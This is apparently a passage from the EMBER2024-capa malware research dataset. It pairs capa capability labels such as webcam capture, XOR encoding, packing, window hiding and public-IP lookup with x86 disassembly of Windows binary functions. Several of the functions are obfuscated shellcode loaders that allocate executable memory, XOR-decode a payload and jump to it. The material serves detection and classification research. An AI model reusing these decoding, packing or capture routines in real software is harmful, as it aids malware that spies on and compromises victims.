joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1012d520
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1012d553
push esi
call fcn.10130610
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1012d54c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1012d5d9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1012d5c2
mov eax, dword [esi + 8]
test eax, eax
je 0x1012d577
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1012d5be
cmp eax, 2
je 0x1012d5c2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1012d56a
cmp eax, 3
je 0x1012d59d
cmp eax, 1
jne 0x1012d56a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1012d56a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1012d56a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1012d600
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1012d5e8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1012d600
add esp, 4
pop esi
ret

Function at 0x1013a170
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x1013a213
test eax, eax
jbe 0x1013a213
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x1013a213
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x1013a1be
xor esi, esi
jmp 0x1013a1c4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x1013a1ef
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.100ec330
add esi, eax
push esi
mov ebx, esi
call fcn.100ec330
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x1013a1d0
pop ebp
test edi, edi
pop edi
jne 0x1013a213
test ebx, ebx
je 0x1013a213
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.10140600
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x1013a350
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x1013a46d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1013a46d
mov eax, dword [esi + 0x3c]
push eax
call fcn.10151720
mov esi, eax
test esi, esi
je 0x1013a46d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x1013a46d
mov ecx, esi
call fcn.1013a2c0
cmp edi, eax
jge 0x1013a46d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x1013a3f3
mov dword [esp + 0x34], 1
jmp 0x1013a44e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x1013a46d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.10139870
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x101520c3
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x101520fb
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1015017a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.10150152
jmp 0x10152107
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x101537b5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x101537f7
call fcn.101592cf
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x101537f7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x101537ee
xor eax, eax
jmp 0x101537ff
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.10153805
pop edi
pop esi
pop ebx
ret 4
Function at 0x29a010c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x29a010d6
pop dword [ebp - 0x50]
mov eax, 0x251c66c8
add eax, 0x483aa0e
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xe9bbb196
add dword [ebp - 0x60], 0x649693b5
mov dword [ebp - 0x5c], 0xed4ef752
add dword [ebp - 0x5c], 0x44e454f3
mov dword [ebp - 0x58], 0xe4d53f88
add dword [ebp - 0x58], 0x677704a6
mov dword [ebp - 0x54], 0xaaf1e647
add dword [ebp - 0x54], 0x550e19b9
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x54704c3
add dword [ebp - 0x60], 0x6f2b6493
mov dword [ebp - 0x5c], 0x6b2ead72
sub dword [ebp - 0x5c], 0x29c24bfd
mov dword [ebp - 0x58], 0x85de7e45
sub dword [ebp - 0x58], 0x226f11d9
mov dword [ebp - 0x54], 0x876c20f9
sub dword [ebp - 0x54], 0x876c20f9
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x4de07f04
add eax, 0xdbc0c140
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3a95f
push 0
call eax
mov ecx, 0x4931
xor esi, esi
add esi, eax
mov edx, 0x4803d5c8
add edx, 0xe19e4a38
add edx, dword [ebp - 0x50]
mov ebx, 0x535d4046
add ebx, 0x2159857a
mov dword [ebp - 0x10], 0x4dd666a8
mov edi, dword [edx]
sub dword [ebp - 0xc], 0xc4691d01
xor edi, ebx
xor dword [ebp - 0x48], edi
mov dword [esi], edi
mov dword [ebp - 0x44], 0x1fd65eb
add esi, 0x82343c12
sub esi, 0x82343c0e
add edx, 4
loop 0x29a011ef
add eax, 0xb4ecfc79
add eax, 0x4b141b1e
xor ebx, ebx
add ebx, eax
add eax, 0xa245cb32
sub eax, 0xa245cb2d
mov ecx, 0xab209ac5
add ecx, 0x7e7f653b
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x414766c4
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x2ad07924
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x10001060
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
mov edx, esi
imul edx, eax
push edi
mov edi, dword [esp + 0x18]
mov ecx, dword [edi + 8]
cmp edx, ecx
jbe 0x10001080
mov eax, ecx
xor edx, edx
div esi
mov ecx, dword [edi]
mov edx, dword [esp + 0xc]
push ecx
push eax
push esi
push edx
call fcn.1001f9dd
mov ecx, eax
imul ecx, esi
sub dword [edi + 8], ecx
add esp, 0x10
pop edi
pop esi
ret

Function at 0x100010a0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x4c
mov eax, dword [0x10048ff0]
xor eax, esp
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x58]
push ebp
mov ebp, dword [esp + 0x58]
push edi
push 1
lea ecx, [esp + 0x4c]
push 8
push ecx
mov dword [esp + 0x14], eax
call fcn.1001f9dd
add esp, 0x10
cmp eax, 1
je 0x100010e5
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.1001fed8
add esp, 0x4c
ret
push 8
lea edx, [esp + 0x48]
push str.__arch__n
push edx
call fcn.1002aa85
add esp, 0xc
test eax, eax
jne 0x100010d2
push ebx
push esi
push edi
push 1
lea eax, [esp + 0x18]
push 0x3c
push eax
mov ebx, 8
call fcn.1001f9dd
add esp, 0x10
cmp eax, 1
jne 0x100011e2
nop
push 2
lea ecx, [esp + 0x4e]
push 0x1003a1ec
push ecx
call fcn.1002aa85
add esp, 0xc
test eax, eax
jne 0x100011e2
add ebx, 0x3c
cmp byte [esp + 0x10], 0
mov byte [esp + 0x1f], al
lea eax, [esp + 0x10]
je 0x10001169
mov edi, edi
mov cl, byte [eax]
cmp cl, 0x20
je 0x10001166
cmp cl, 0x2f
je 0x10001166
add eax, 1
cmp byte [eax], 0
jne 0x10001150
jmp 0x10001169
mov byte [eax], 0
lea edx, [esp + 0x40]
push edx
call fcn.1001fe15
mov edx, dword [esp + 0x60]
add esp, 4
mov esi, eax
lea ecx, [esp + 0x10]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x100011a0
test al, al
je 0x1000119c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x100011a0
add ecx, 2
add edx, 2
test al, al
jne 0x10001180
xor eax, eax
jmp 0x100011a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100011f7
add ebx, esi
test bl, 1
je 0x100011b6
add esi, 1
add ebx, 1
push 1
push esi
push edi
call fcn.1001fd7f
add esp, 0xc
cmp eax, 0xffffffff
je 0x100011e2
push edi
push 1
lea eax, [esp + 0x18]
push 0x3c
push eax
call fcn.1001f9dd
add esp, 0x10
cmp eax, 1
je 0x10001120
pop esi
pop ebx
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.1001fed8
add esp, 0x4c
ret
push 8
lea ecx, [esp + 0x3c]
push 0
push ecx
mov dword [ebp], esi
mov byte [esp + 0x4b], 0
call fcn.1002aa85
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x60]
add esp, 0xc
pop esi
pop ebx
pop ebp
mov dword [edx], eax
xor ecx, esp
xor eax, eax
call fcn.1001fed8
add esp, 0x4c
ret
Function at 0x100170d0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x408
mov eax, dword [0x10048ff0]
xor eax, esp
mov dword [esp + 0x404], eax
push esi
mov esi, dword [esp + 0x410]
push edi
mov ecx, esi
xor edi, edi
call fcn.100170b0
cmp eax, 9
jae 0x10017115
pop edi
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.1001fed8
add esp, 0x408
ret
push ebx
push 0x1003a1fc
push esi
lea ebx, [eax - 9]
call fcn.1001ffab
mov esi, eax
add esp, 8
test esi, esi
mov dword [esp + 0xc], esi
jne 0x1001714c
pop ebx
pop edi
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.1001fed8
add esp, 0x408
ret
push ebp
push 0
push 0
push 0
call fcn.100174f0
add esp, 0xc
test ebx, ebx
mov ebp, eax
jbe 0x100171a6
mov esi, ebx
sub esi, edi
cmp esi, 0x400
jbe 0x10017172
mov esi, 0x400
mov eax, dword [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.1001f9dd
add esp, 0x10
cmp eax, esi
jb 0x100171a2
push eax
lea edx, [esp + 0x18]
push edx
push ebp
call fcn.100174f0
add edi, esi
add esp, 0xc
cmp edi, ebx
mov ebp, eax
jb 0x10017161
mov esi, dword [esp + 0x10]
push esi
push 9
lea eax, [esp + 0x1c]
push 1
push eax
call fcn.1001f9dd
push esi
mov edi, eax
call fcn.1001f704
add esp, 0x14
cmp edi, 9
je 0x100171ca
or eax, 0xffffffff
jmp 0x100171ea
push 0x10
lea ecx, [esp + 0x19]
push 0
push ecx
mov byte [esp + 0x29], 0
call fcn.1002aa85
mov edx, eax
mov eax, ebp
sub eax, edx
add esp, 0xc
neg eax
sbb eax, eax
mov ecx, dword [esp + 0x414]
pop ebp
pop ebx
pop edi
pop esi
xor ecx, esp
call fcn.1001fed8
add esp, 0x408
ret
Function at 0x1001d6f0
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, 1
xor eax, eax
mov cl, byte [eax + str._LS_]
mov dl, byte [esi + edi]
add edi, 1
add eax, 1
cmp cl, dl
jne 0x1001d863
cmp eax, 4
jl 0x1001d702
xor eax, eax
cmp byte [esi + edi], al
sete al
test eax, eax
je 0x1001d863
push ebx
mov ebx, dword [ebp + 4]
cmp ebx, 1
mov dword [esp + 0x10], 0
jbe 0x1001d862
cmp byte [esi + 2], 0
lea eax, [esi + 2]
je 0x1001d758
lea esp, [esp]
add eax, 1
cmp byte [eax], 0
jne 0x1001d750
sub eax, esi
add eax, 1
mov ecx, eax
cmp ecx, ebx
sbb eax, eax
and eax, ecx
je 0x1001d862
jmp 0x1001d770
mov ebp, eax
xor edi, edi
mov cl, byte [edi + str._LS_]
mov dl, byte [esi + ebp]
add ebp, 1
add edi, 1
cmp cl, dl
jne 0x1001d798
cmp edi, 4
jl 0x1001d774
xor ecx, ecx
cmp byte [esi + ebp], cl
sete cl
test ecx, ecx
jne 0x1001d7fd
mov ebp, eax
xor edi, edi
lea esp, [esp]
mov cl, byte [edi + str.Odradek1]
mov dl, byte [esi + ebp]
add ebp, 1
add edi, 1
cmp cl, dl
jne 0x1001d7cc
cmp edi, 9
jl 0x1001d7a0
xor ecx, ecx
cmp byte [esi + ebp], cl
sete cl
test ecx, ecx
je 0x1001d7cc
mov dword [esp + 0x10], 1
cmp eax, ebx
jae 0x1001d805
cmp byte [esi + eax + 1], 0
lea eax, [esi + eax + 1]
je 0x1001d7e8
jmp 0x1001d7e0
add eax, 1
cmp byte [eax], 0
jne 0x1001d7e0
sub eax, esi
add eax, 1
mov ecx, eax
cmp ecx, ebx
sbb eax, eax
and eax, ecx
jne 0x1001d770
jmp 0x1001d829
test eax, eax
je 0x1001d829
cmp eax, ebx
jb 0x1001d809
xor eax, eax
jmp 0x1001d829
cmp byte [esi + eax + 1], 0
lea eax, [esi + eax + 1]
je 0x1001d81c
add eax, 1
cmp byte [eax], 0
jne 0x1001d814
sub eax, esi
add eax, 1
mov ecx, eax
cmp ecx, ebx
sbb eax, eax
and eax, ecx
cmp dword [esp + 0x10], 0
je 0x1001d862
test eax, eax
je 0x1001d862
cmp eax, ebx
mov dl, 0x44
ja 0x1001d862
lea ebx, [ebx]
mov ecx, dword [esp + 0x18]
mov ecx, dword [ecx + 8]
lea esi, [ecx + eax]
mov cl, byte [esi]
mov bl, cl
xor bl, dl
rol cl, 1
mov dl, cl
mov ecx, dword [esp + 0x18]
add eax, 1
mov byte [esi], bl
cmp eax, dword [ecx + 4]
jbe 0x1001d840
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret

Function at 0x1001de40
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
test ebp, ebp
mov ebx, eax
jne 0x1001de52
pop ebp
or eax, 0xffffffff
pop ebx
ret
cmp dword [edi + 0xc], 0
je 0x1001de7c
mov eax, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
sub ecx, eax
cmp ecx, ebx
jb 0x1001de4c
mov edx, dword [edi + 0x14]
push ebx
add edx, eax
push edx
push ebp
call fcn.1002aa85
add dword [edi + 0x1c], ebx
add esp, 0xc
pop ebp
xor eax, eax
pop ebx
ret
test ebx, ebx
push esi
jbe 0x1001dec0
cmp ebx, 0x4000
mov esi, 0x4000
ja 0x1001de90
mov esi, ebx
sub ebx, esi
cmp dword [edi + 8], 0
je 0x1001dea7
mov eax, dword [edi + 4]
push eax
push esi
push 1
push ebp
call fcn.10001060
jmp 0x1001deb3
mov ecx, dword [edi]
push ecx
push esi
push 1
push ebp
call fcn.1001f9dd
add esp, 0x10
cmp esi, eax
jne 0x1001dec6
add ebp, esi
test ebx, ebx
ja 0x1001de81
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x1001e380
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
cmp dword [ebp + 8], 0
je 0x1001e3a1
mov eax, dword [ebp + 4]
push eax
push 0x24
lea ecx, [ebp + 0x20]
push 1
push ecx
call fcn.10001060
jmp 0x1001e3e0
cmp dword [ebp + 0xc], 0
je 0x1001e3cf
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x18]
sub eax, edx
cmp eax, 0x24
jb 0x1001e4d8
mov esi, dword [ebp + 0x14]
add esi, edx
lea edi, [ebp + 0x20]
mov ecx, 9
add edx, 0x24
rep movsd dword es:[edi], dword [esi]
mov dword [ebp + 0x1c], edx
jmp 0x1001e3ec
mov edx, dword [ebp]
push edx
push 0x24
lea eax, [ebp + 0x20]
push 1
push eax
call fcn.1001f9dd
add esp, 0x10
cmp eax, 0x24
jne 0x1001e4d8
cmp dword [ebp + 0x10], 0
je 0x1001e40d
mov ecx, dword [ebp + 0x30]
push ecx
call fcn.1001f530
mov edx, dword [ebp + 0x34]
push edx
mov dword [ebp + 0x30], eax
call fcn.1001f530
add esp, 8
mov dword [ebp + 0x34], eax
mov eax, dword [ebp + 0x34]
sub eax, 0
je 0x1001e42a
sub eax, 1
je 0x1001e42a
sub eax, 1
jne 0x1001e4a7
mov edi, 2
jmp 0x1001e42f
mov edi, 1
cmp dword [ebp + 0x10], 0
je 0x1001e455
test edi, edi
jle 0x1001e455
lea esi, [ebp + 0x38]
lea esp, [esp]
mov eax, dword [esi]
push eax
call fcn.1001f530
mov dword [esi], eax
add esp, 4
add esi, 4
sub edi, 1
jne 0x1001e440
cmp dword [ebp + 0x44], 0
mov dword [esp + 0x14], 0
jl 0x1001e4a7
lea esi, [ebp + 0x48]
lea ecx, [ebp + 0x20]
xor edi, edi
mov eax, esi
sub ecx, esi
nop
mov dl, byte [eax]
mov bl, byte [ecx + eax]
add eax, 1
cmp dl, bl
jne 0x1001e494
add edi, 1
cmp edi, 0x10
jl 0x1001e470
mov eax, dword [ebp + 0x30]
cmp eax, dword [esi + 0x10]
jne 0x1001e494
mov ecx, dword [ebp + 0x34]
cmp ecx, dword [esi + 0x14]
je 0x1001e4af
mov eax, dword [esp + 0x14]
add eax, 1
add esi, 0x2c
cmp eax, dword [ebp + 0x44]
mov dword [esp + 0x14], eax
jle 0x1001e466
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
mov eax, dword [esp + 0x14]
imul eax, eax, 0x2c
lea edx, [eax + ebp + 0x48]
push edx
mov eax, ebp
call fcn.1001ded0
add esp, 4
neg eax
sbb eax, eax
inc eax
jne 0x1001e388
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
pop edi
pop esi
neg eax
pop ebp
sbb eax, eax
pop ebx
ret

Function at 0x1001fed8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10048ff0]
jne 0x1001fee2
repz ret
jmp fcn.10026229

Function at 0x10020a4e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x10020a7b
call fcn.100229cb
mov dword [eax], esi
call fcn.100229b8
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.1002aa85
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x10020a57
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10020aaa
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.100229de
pop ecx
call fcn.100229b8
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x10020ad1
test al, 1
je 0x10020ad1
test byte [esp + 0xc], 2
je 0x10020ad1
call fcn.100229cb
mov dword [eax], 5
call fcn.100229b8
mov dword [eax], 0xd
jmp 0x10020aa1
xor eax, eax
pop esi
ret
Function at 0x1002aa85
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1002aa94
pop dword [ebp - 0x40]
mov eax, 0xce72c985
add eax, 0x418fe10f
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x390e3
push 0
mov eax, 0xa2c6b3f2
sub eax, 0x92c3137e
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x4602
mov edx, eax
mov esi, 0x10051000
add esi, dword [ebp - 0x40]
mov ebx, 0x93d71210
sub ebx, 0xa80507f6
sub dword [ebp - 0x1c], 0x1fa5b72d
mov edi, dword [esi]
xor edi, ebx
add dword [ebp - 4], 0xf0a4c7db
mov dword [edx], edi
add dword [ebp - 0x20], esi
add edx, 0x5ce9acdb
sub edx, 0x5ce9acd7
add esi, 4
loop 0x1002aae7
add eax, 0x5fcc0d3e
sub eax, 0x5fcb0263
mov ebx, eax
add eax, 0x9f3a3c98
add eax, 0x60c5c36d
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x1000671c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000672b
pop dword [ebp - 0x14]
mov eax, 0x1000672b
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x617fad94
sub dword [ebp - 0x24], 0x132d6849
mov dword [ebp - 0x20], 0x8bdbb185
add dword [ebp - 0x20], 0xa6579ac0
mov dword [ebp - 0x1c], 0xf46be4c2
sub dword [ebp - 0x1c], 0xa81fa094
mov dword [ebp - 0x18], 0x893639d2
add dword [ebp - 0x18], 0x76c9c62e
lea eax, [ebp - 0x24]
push eax
mov eax, 0xeb00de37
add eax, 0x25001279
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xbf60aa2a
add dword [ebp - 0x24], 0xb511bf2c
mov dword [ebp - 0x20], 0xdd441c49
sub dword [ebp - 0x20], 0x9bd7bad4
mov dword [ebp - 0x1c], 0xbbfc4245
add dword [ebp - 0x1c], 0xa7732a27
mov dword [ebp - 0x18], 0xf274004b
add dword [ebp - 0x18], 0xd8bffb5
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x9d0437d6
add eax, 0x72fcb8d2
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x39530
push 0
call eax
mov ecx, 0x151ca8d5
add ecx, 0xeae3a103
mov edi, eax
mov edx, 0xd2c3425f
sub edx, 0xc2c10a5f
add edx, dword [ebp - 0x14]
mov esi, 0x13cc0cb6
mov ebx, dword [edx]
add dword [ebp - 8], 0x8cfc77f6
xor ebx, esi
mov dword [edi], ebx
add edi, 4
add edx, 4
loop 0x10006842
add eax, 0x1f915f88
sub eax, 0x1f904555
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xd03b215d
sub ecx, 0xc03b215d
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x1000b110
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
cmp eax, 0x1a
jl 0x1000b168
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x1000b168
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push 0x10
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
push eax
push dword [esi + 4]
push dword [esi]
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.1000671c
push 1
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
ret 4

Function at 0x1000b700
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404290
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x40431c
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404320
push 0x408188
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404328
push 0x408188
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
